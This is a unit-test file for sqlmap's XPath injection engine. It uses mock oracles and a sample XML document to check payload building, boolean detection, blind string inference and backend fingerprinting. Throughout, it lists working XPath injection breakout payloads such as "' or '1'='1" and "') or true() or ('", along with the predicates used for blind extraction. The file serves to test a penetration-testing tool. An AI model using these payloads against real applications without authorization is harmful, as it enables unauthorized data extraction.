mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-06-30 05:21:15 +00:00
441 lines
18 KiB
Python
441 lines
18 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
|
|
Offline, deterministic tests for the XPath injection engine. Mock oracles stand in for the
|
|
HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, and output
|
|
formatting can be exercised without a live target.
|
|
"""
|
|
|
|
import unittest
|
|
|
|
from _testutils import bootstrap
|
|
bootstrap()
|
|
|
|
import lib.techniques.xpath.inject as xpath
|
|
|
|
|
|
SENTINEL = xpath.SENTINEL
|
|
|
|
|
|
class TestHelpers(unittest.TestCase):
|
|
def test_ratio(self):
|
|
self.assertGreater(xpath._ratio("abc", "abc"), 0.9)
|
|
self.assertLess(xpath._ratio("abc", "xyz"), 0.5)
|
|
|
|
def test_delim(self):
|
|
from lib.core.enums import PLACE
|
|
self.assertEqual(xpath._delim(PLACE.GET), '&')
|
|
self.assertEqual(xpath._delim(PLACE.COOKIE), ';')
|
|
|
|
def test_is_error(self):
|
|
self.assertTrue(xpath._isError("javax.xml.xpath.XPathExpressionException: error"))
|
|
self.assertTrue(xpath._isError("lxml.etree.XPathEvalError: Invalid expression"))
|
|
self.assertFalse(xpath._isError("normal page content"))
|
|
|
|
def test_backend_from_error(self):
|
|
self.assertIsNotNone(xpath._backendFromError("lxml.etree.XPathEvalError: Invalid expression"))
|
|
self.assertIsNotNone(xpath._backendFromError("System.Xml.XPath.XPathException: has an invalid token"))
|
|
self.assertIsNone(xpath._backendFromError("normal page"))
|
|
|
|
def test_is_password_param(self):
|
|
self.assertTrue(xpath._isPasswordParam("password"))
|
|
self.assertTrue(xpath._isPasswordParam("pass"))
|
|
self.assertFalse(xpath._isPasswordParam("username"))
|
|
|
|
def test_xpath_quote(self):
|
|
self.assertEqual(xpath._xpathQuote("hello"), "'hello'")
|
|
self.assertEqual(xpath._xpathQuote("it's"), "\"it's\"")
|
|
self.assertEqual(xpath._xpathQuote('say "hi"'), "'say \"hi\"'")
|
|
both = "it's \"great\""
|
|
q = xpath._xpathQuote(both)
|
|
self.assertIn("concat", q)
|
|
|
|
def test_make_payload_with_suffix(self):
|
|
b = xpath.Boundary("') or ", " or ('", True)
|
|
p = xpath._makePayload("x", b, "starts-with(name(/*),'d')")
|
|
self.assertEqual(p, "x') or starts-with(name(/*),'d') or ('")
|
|
|
|
def test_make_payload_no_suffix(self):
|
|
b = xpath.Boundary("' or ", "", True)
|
|
p = xpath._makePayload("x", b, "1=1")
|
|
self.assertEqual(p, "x' or 1=1")
|
|
|
|
def test_make_payload_with_suffix_only(self):
|
|
b = xpath.Boundary("' or ", " and '1'='1", True)
|
|
p = xpath._makePayload("x", b, "1=1")
|
|
self.assertEqual(p, "x' or 1=1 and '1'='1")
|
|
|
|
|
|
class TestBoundaryTable(unittest.TestCase):
|
|
def test_all_entries_in_boundary_lookup(self):
|
|
for bk in xpath.XPATH_BREAKOUT_PREFIXES:
|
|
self.assertIn(bk, xpath._BREAKOUT_BOUNDARY,
|
|
"Breakout '%s' not found in _BREAKOUT_BOUNDARY" % bk)
|
|
|
|
def test_function_arg_boundaries_are_extractable(self):
|
|
for bk in ("') or true() or ('", "') or '1'='1' or ('", "') or 1=1 or ('"):
|
|
b = xpath._BREAKOUT_BOUNDARY[bk]
|
|
self.assertTrue(b.extractable)
|
|
self.assertTrue(len(b.prefix) > 0)
|
|
self.assertTrue(len(b.suffix) > 0)
|
|
|
|
def test_simple_string_boundaries_have_suffix(self):
|
|
for bk in ("' or '1'='1", "' or true() or '", "' or 1=1 or '",
|
|
'" or "1"="1', '" or true() or "'):
|
|
b = xpath._BREAKOUT_BOUNDARY[bk]
|
|
if b is not None:
|
|
self.assertTrue(b.extractable)
|
|
self.assertTrue(len(b.suffix) > 0,
|
|
"Simple string breakout '%s' needs a suffix to absorb the trailing quote" % bk)
|
|
|
|
def test_union_wildcard_is_not_extractable(self):
|
|
b = xpath._BREAKOUT_BOUNDARY.get("']|//*|test['")
|
|
self.assertIsNone(b, "Union wildcard must not have an extraction boundary")
|
|
|
|
def test_numeric_has_leading_space(self):
|
|
for bk in (" or 1=1", " or true()"):
|
|
self.assertTrue(bk.startswith(" "),
|
|
"Numeric breakout '%s' needs leading whitespace" % bk)
|
|
b = xpath._BREAKOUT_BOUNDARY[bk]
|
|
self.assertTrue(b.extractable)
|
|
|
|
def test_all_extractable_have_prefix(self):
|
|
for bk, b in xpath._BREAKOUT_BOUNDARY.items():
|
|
if b is not None:
|
|
self.assertTrue(len(b.prefix) > 0,
|
|
"Extractable boundary for '%s' needs a prefix" % bk)
|
|
|
|
|
|
class TestPayloadBuilder(unittest.TestCase):
|
|
def setUp(self):
|
|
self.boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
|
self.builder = xpath._XPathPayloadBuilder("x", self.boundary)
|
|
|
|
def test_name_starts_with(self):
|
|
p = self.builder.nameStartsWith("/*", "d")
|
|
self.assertIn("starts-with(name(/*)", p)
|
|
self.assertIn("'d'", p)
|
|
|
|
def test_name_length(self):
|
|
p = self.builder.nameLength("/*", 9)
|
|
self.assertIn("string-length(name(/*))=9", p)
|
|
|
|
def test_child_count(self):
|
|
p = self.builder.childCount("/*", 3)
|
|
self.assertIn("count(/*/*)>=3", p)
|
|
|
|
def test_attribute_count(self):
|
|
p = self.builder.attributeCount("/*[1]", 2)
|
|
self.assertIn("count(/*[1]/@*)>=2", p)
|
|
|
|
def test_text_starts_with(self):
|
|
p = self.builder.textStartsWith("/*[1]/*[1]", "lut")
|
|
self.assertIn("starts-with(string(/*[1]/*[1])", p)
|
|
|
|
def test_empty_prefix(self):
|
|
p = self.builder.nameStartsWith("/*", "")
|
|
self.assertIn("''", p)
|
|
|
|
def test_uses_boundary_not_hardcoded(self):
|
|
p = self.builder.nameStartsWith("/*", "d")
|
|
self.assertNotIn("contains(username", p)
|
|
self.assertIn("x') or ", p)
|
|
self.assertIn(" or ('", p)
|
|
|
|
def test_simple_string_boundary_builder(self):
|
|
b = xpath._BREAKOUT_BOUNDARY["' or '1'='1"]
|
|
builder = xpath._XPathPayloadBuilder("x", b)
|
|
p = builder.nameStartsWith("/*", "d")
|
|
self.assertIn("x' or ", p)
|
|
self.assertIn(" and '1'='1", p)
|
|
|
|
|
|
class TestBooleanDetection(unittest.TestCase):
|
|
def setUp(self):
|
|
self.original_send = xpath._send
|
|
|
|
def tearDown(self):
|
|
xpath._send = self.original_send
|
|
|
|
def test_false_page_must_be_reproducible(self):
|
|
# True is stable, false changes every time -> no oracle
|
|
true_calls = [0]
|
|
|
|
def mock(place, parameter, value):
|
|
if "true()" in value:
|
|
return "true-page"
|
|
elif "false()" in value:
|
|
true_calls[0] += 1
|
|
return "false-page-%d" % true_calls[0]
|
|
return "default"
|
|
|
|
xpath._send = mock
|
|
template, payload, boundary = xpath._detectBoolean("GET", "q")
|
|
self.assertIsNone(template)
|
|
|
|
def test_detection_returns_extractable_boundary(self):
|
|
def mock(place, parameter, value):
|
|
if "true()" in value:
|
|
return '{"count":7,"entries":[{...}]}'
|
|
elif "false()" in value:
|
|
return '{"count":0,"entries":[],"error":null}'
|
|
return "default"
|
|
|
|
xpath._send = mock
|
|
template, payload, boundary = xpath._detectBoolean("GET", "q")
|
|
self.assertIsNotNone(template)
|
|
self.assertIsNotNone(boundary)
|
|
self.assertTrue(boundary.extractable)
|
|
|
|
|
|
class TestGridAndTable(unittest.TestCase):
|
|
def test_grid(self):
|
|
columns = ["Path", "Element", "Value"]
|
|
rows = [["/*", "root", ""], ["/*[1]", "child", "text"]]
|
|
grid = xpath._grid(columns, rows)
|
|
self.assertIn("Path", grid)
|
|
self.assertIn("root", grid)
|
|
|
|
def test_grid_empty(self):
|
|
grid = xpath._grid([], [])
|
|
self.assertIn("+", grid)
|
|
|
|
def test_tree_to_table(self):
|
|
node = {
|
|
"name": "directory", "path": "/*",
|
|
"children": [{"name": "user", "path": "/*[1]", "children": [],
|
|
"attributes": [{"name": "id", "value": "1"}], "text": None}],
|
|
"attributes": [], "text": None,
|
|
}
|
|
columns, rows = xpath._treeToTable(node)
|
|
self.assertIn("Path", columns)
|
|
self.assertGreater(len(rows), 0)
|
|
|
|
|
|
class TestExtraction(unittest.TestCase):
|
|
def test_infer_value_mock(self):
|
|
expected = "directory"
|
|
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
|
builder = xpath._XPathPayloadBuilder("x", boundary)
|
|
|
|
class MockOracle(object):
|
|
def extract(self, payload):
|
|
import re
|
|
m = re.search(r"""starts-with\(name\(/\*\),'([^']*)'\)""", payload)
|
|
return expected.startswith(m.group(1)) if m else False
|
|
|
|
oracle = MockOracle()
|
|
result = xpath._inferValue(oracle, builder, "/*",
|
|
lambda b, p, prefix: b.nameStartsWith(p, prefix),
|
|
maxLen=20)
|
|
self.assertEqual(result, expected)
|
|
|
|
def test_infer_count(self):
|
|
expected = 3
|
|
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
|
builder = xpath._XPathPayloadBuilder("x", boundary)
|
|
|
|
class MockOracle(object):
|
|
def extract(self, payload):
|
|
import re
|
|
m = re.search(r"count\(/\*/\*\)>=(\d+)", payload)
|
|
if m:
|
|
return int(m.group(1)) <= expected
|
|
return False
|
|
|
|
oracle = MockOracle()
|
|
result = xpath._inferCount(oracle, builder, "/*",
|
|
lambda b, p, c: b.childCount(p, c),
|
|
maxCount=8)
|
|
self.assertEqual(result, expected)
|
|
|
|
def test_infer_string_binary_search(self):
|
|
# Drive the binary-search extractor through real lxml evaluation of the
|
|
# boundary-wrapped predicates against _XML and confirm exact recovery.
|
|
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
|
builder = xpath._XPathPayloadBuilder("x", boundary)
|
|
template = _XPATH_TEMPLATES["function_arg"]
|
|
|
|
class MockOracle(object):
|
|
def extract(self, payload):
|
|
return _xpath_eval(template, payload) > 0
|
|
|
|
oracle = MockOracle()
|
|
# Absolute targets are resolved the same way the live tree-walk would.
|
|
self.assertEqual(xpath._inferString(oracle, builder, "name(/*)", maxLen=32), "directory")
|
|
self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/name)", maxLen=32), "luther")
|
|
self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/@id)", maxLen=32), "1")
|
|
|
|
def test_infer_string_matches_linear(self):
|
|
# The fast extractor must agree with the legacy linear extractor.
|
|
boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"]
|
|
builder = xpath._XPathPayloadBuilder("x", boundary)
|
|
template = _XPATH_TEMPLATES["function_arg"]
|
|
|
|
class MockOracle(object):
|
|
def extract(self, payload):
|
|
return _xpath_eval(template, payload) > 0
|
|
|
|
oracle = MockOracle()
|
|
fast = xpath._inferString(oracle, builder, "name(/*)", maxLen=32)
|
|
linear = xpath._inferValue(oracle, builder, "/*",
|
|
lambda b, p, prefix: b.nameStartsWith(p, prefix),
|
|
maxLen=32)
|
|
self.assertEqual(fast, linear)
|
|
|
|
|
|
class TestBackendFingerprint(unittest.TestCase):
|
|
def test_lxml(self):
|
|
page = "lxml.etree.XPathEvalError: Invalid expression"
|
|
backend = xpath._backendFromError(page)
|
|
self.assertIsNotNone(backend)
|
|
self.assertIn("lxml", backend)
|
|
|
|
def test_java_jaxp(self):
|
|
page = "javax.xml.xpath.XPathExpressionException: A location path was expected"
|
|
backend = xpath._backendFromError(page)
|
|
self.assertIsNotNone(backend)
|
|
|
|
def test_dotnet(self):
|
|
page = "System.Xml.XPath.XPathException: Expression must evaluate to a node-set"
|
|
backend = xpath._backendFromError(page)
|
|
self.assertIsNotNone(backend)
|
|
|
|
def test_no_error(self):
|
|
page = "Normal page with user data"
|
|
backend = xpath._backendFromError(page)
|
|
self.assertIsNone(backend)
|
|
|
|
|
|
# --- Real XPath syntax validation (lxml) ---------------------------------------
|
|
|
|
_XML = b"""<?xml version="1.0"?><directory><user id="1"><name>luther</name></user><user id="2"><name>fluffy</name></user></directory>"""
|
|
|
|
_XPATH_TEMPLATES = {
|
|
"function_arg": "//user[contains(name,'%s')]",
|
|
"single_quoted": "//user[name='%s']",
|
|
"double_quoted": '//user[name="%s"]',
|
|
"numeric": "//user[position()=%s]",
|
|
"bare_predicate": "//user[%s]",
|
|
}
|
|
|
|
|
|
def _xpath_eval(template, payload):
|
|
"""Evaluate an XPath expression against _XML, return the match count."""
|
|
try:
|
|
from lxml import etree
|
|
except ImportError:
|
|
raise unittest.SkipTest("lxml not available")
|
|
root = etree.fromstring(_XML)
|
|
expr = template % payload
|
|
return len(root.xpath(expr))
|
|
|
|
|
|
class TestRealXPathSyntax(unittest.TestCase):
|
|
"""Verify that detection payloads and extraction predicates are syntactically
|
|
valid XPath and produce the expected boolean results."""
|
|
|
|
@staticmethod
|
|
def _count(template, payload):
|
|
return _xpath_eval(template, payload)
|
|
|
|
def _test_family(self, template_key, true_breakout, false_breakout, boundary_key, original="x"):
|
|
template = _XPATH_TEMPLATES[template_key]
|
|
boundary = xpath._BREAKOUT_BOUNDARY[boundary_key]
|
|
self.assertIsNotNone(boundary)
|
|
self.assertTrue(boundary.extractable)
|
|
|
|
# Detection payloads must be syntactically valid and yield true/false
|
|
truePayload = original + true_breakout
|
|
falsePayload = original + false_breakout
|
|
self.assertGreater(self._count(template, truePayload), 0,
|
|
"True payload '%s' should match at least one node" % truePayload)
|
|
self.assertEqual(self._count(template, falsePayload), 0,
|
|
"False payload '%s' should match no nodes" % falsePayload)
|
|
|
|
# Extraction predicate must be valid and change the result truthfully
|
|
self.assertIsNotNone(xpath._XPathPayloadBuilder(original, boundary))
|
|
truePred = xpath._makePayload(original, boundary, "true()")
|
|
falsePred = xpath._makePayload(original, boundary, "false()")
|
|
self.assertGreater(self._count(template, truePred), 0,
|
|
"Extraction true predicate must match")
|
|
self.assertEqual(self._count(template, falsePred), 0,
|
|
"Extraction false predicate must not match")
|
|
|
|
def test_function_arg_family(self):
|
|
self._test_family("function_arg",
|
|
"') or true() or ('", "') and false() and ('",
|
|
"') or true() or ('")
|
|
|
|
def test_single_quoted_family(self):
|
|
self._test_family("single_quoted",
|
|
"' or '1'='1", "' and '1'='2",
|
|
"' or '1'='1")
|
|
|
|
def test_double_quoted_family(self):
|
|
self._test_family("double_quoted",
|
|
'" or "1"="1', '" and "1"="2',
|
|
'" or "1"="1')
|
|
|
|
def test_numeric_family(self):
|
|
self._test_family("numeric",
|
|
" or 1=1", " and 1=2",
|
|
" or 1=1", original="1")
|
|
|
|
def test_bare_predicate_family(self):
|
|
self._test_family("bare_predicate",
|
|
" or true()", " and false()",
|
|
" or true()", original="1")
|
|
|
|
def test_function_arg_second_variant(self):
|
|
self._test_family("function_arg",
|
|
"') or '1'='1' or ('", "') and '1'='2' and ('",
|
|
"') or '1'='1' or ('")
|
|
|
|
def test_single_quoted_with_matching_original(self):
|
|
"""When the original value matches a record (name='luther'), OR-style
|
|
extraction with 'and' suffix is still decisive because the engine uses
|
|
a non-matching sentinel base for tree-walking."""
|
|
boundary = xpath._BREAKOUT_BOUNDARY["' or '1'='1"]
|
|
# Simulate what xpathScan() does: use a sentinel as base for OR-style
|
|
sentinel = "zzznotpresent"
|
|
self.assertIsNotNone(xpath._XPathPayloadBuilder(sentinel, boundary))
|
|
truePred = xpath._makePayload(sentinel, boundary, "true()")
|
|
falsePred = xpath._makePayload(sentinel, boundary, "false()")
|
|
tpl = _XPATH_TEMPLATES["single_quoted"]
|
|
self.assertGreater(self._count(tpl, truePred), 0,
|
|
"OR extraction must match with sentinel base + true predicate")
|
|
self.assertEqual(self._count(tpl, falsePred), 0,
|
|
"OR extraction must not match with sentinel base + false predicate")
|
|
|
|
def test_all_extractable_boundaries_have_valid_extraction(self):
|
|
# Match each boundary to an appropriate template and original value.
|
|
_CONTEXT = {
|
|
"') or true() or ('": ("function_arg", "x"),
|
|
"') or '1'='1' or ('": ("function_arg", "x"),
|
|
"') or 1=1 or ('": ("function_arg", "x"),
|
|
'") or true() or ("': ("function_arg", "x"),
|
|
"' or '1'='1": ("single_quoted", "x"),
|
|
"' or true() or '": ("single_quoted", "x"),
|
|
"' or 1=1 or '": ("single_quoted", "x"),
|
|
"' and '1'='1": ("single_quoted", "x"),
|
|
'" or "1"="1': ("double_quoted", "x"),
|
|
'" or true() or "': ("double_quoted", "x"),
|
|
" or 1=1": ("numeric", "999"),
|
|
" or true()": ("bare_predicate", "999"),
|
|
}
|
|
for bk, boundary in xpath._BREAKOUT_BOUNDARY.items():
|
|
if boundary is None or not boundary.extractable:
|
|
continue
|
|
tkey, original = _CONTEXT.get(bk, ("function_arg", "x"))
|
|
template = _XPATH_TEMPLATES[tkey]
|
|
payload = xpath._makePayload(original, boundary, "true()")
|
|
try:
|
|
count = self._count(template, payload)
|
|
except Exception as e:
|
|
self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload))
|
|
self.assertIsInstance(count, int,
|
|
"Boundary '%s' in '%s' produced no count" % (bk, tkey))
|